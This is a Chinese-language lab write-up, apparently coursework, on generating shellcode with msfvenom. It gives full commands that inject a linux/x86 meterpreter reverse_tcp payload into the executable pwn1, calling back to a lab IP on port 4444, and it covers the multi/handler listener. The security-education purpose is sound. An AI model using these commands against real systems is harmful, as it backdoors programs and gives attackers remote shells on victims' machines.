使用MSF生成shellcode
- payload和shellcode的区别
Payload是是包含在你用于一次漏洞利用（exploit）中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的，ShellCode是真正的被输入到存在漏洞的程序中的，并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说，ShellCode就是一个用于某个漏洞的二进制代码框架，有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。
- 利用msfvenom生成payload
给个中文版的msfvenom的命令行选项：
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder（编码器）
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集，比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作，注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量，以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
首先我们用到的第一个选项是-l，查看所有msf可用的payload列表。里面有526种payload，我们需要的payload功能是获取反弹连接shell。
想要找到可用的payload首先要知道靶机的版本。在网上找方法查了一下，我开的另外一台kali靶机是64位。对应linux64位可用的payload有这些。
根据这些payload的功能描述，找出我们需要的payload，使用-p指定。给大家翻译了一下这些描述啥意思，如下：
- execute an arbitrary command
执行一个任意命令
- Inject the mettle server payload(staged).Listen to a connection.
注入mettle server payload，监听等待一个连接。
- Inject the mettle server payload(staged).Connect back to a connection.
注入mettle server payload，反弹连接一个连接。
- run the meterpreter /Mettle server payload (stageless)
运行meterpreter或者Mettle server payload
- spawn a command shell.Listen to a connection.
产生一个shell，等待连接。
- spawn a command shell.Connect back to a connection.
产生一个shell，反弹连接一个连接。
- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
在一个随机端口监听一个连接，并产生一个shell。
- Spawn a shell on an established connection
在已经存在的连接上产生一个shell
- Connect back to attacker and spawn a command shell
反弹连接攻击者，并产生一个shell。
很显然我们选择最后一个，linux/x64/shell_reverse_tcp.
选定了payload，我们需要给它写一些什么参数呢？用这个指令查看
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
基础参数就两个LHOST和LPORT。跟在payloa后面设置一下就可以了。
选好了payload，接下来我们-f选payload的输出格式。用这个指令可以查看payload有哪些输出格式。
msfvenom --help-formats
发现有很多：
我们的目标是注入到pwn1里去，当然选择ELF格式了！
还可以用-e选择编码器和-i迭代编码的次数。用这个指令查看可用的编码方式。
msfvenom -l encoders
但ELF文件的编码方式应该是机器无关的，不用选这个选项。
最后呢，当然是要用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中。
所以，最终我们的指令是
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2
然后把我们毒化的pwn2，复制到靶机里。
打开攻击方的msfconsole，加载exploit/multi/handler模块，设置参数，最后一个exploit指令！攻击！
但是一切似乎不如人意，我在靶机上运行了pwn2,控制机没有任何反应……
然后又在网上找了这篇文章msfvenom生成各类Payload命令，里面说linux里指令要这样写
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
对比之后，我意识到，虽然linux系统是64位，但pwn1是个32位程序啊！所以还是用x86下面的payload。
最终的指令是这样的：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3
再怀着忐忑和激动的心情去测试了一下pwn3,就发现成功了！
做了一天才成功，找了很多乱七八糟的资料，主要有用的参考资料如下：
Meatsploit Framework msfvenom使用简介
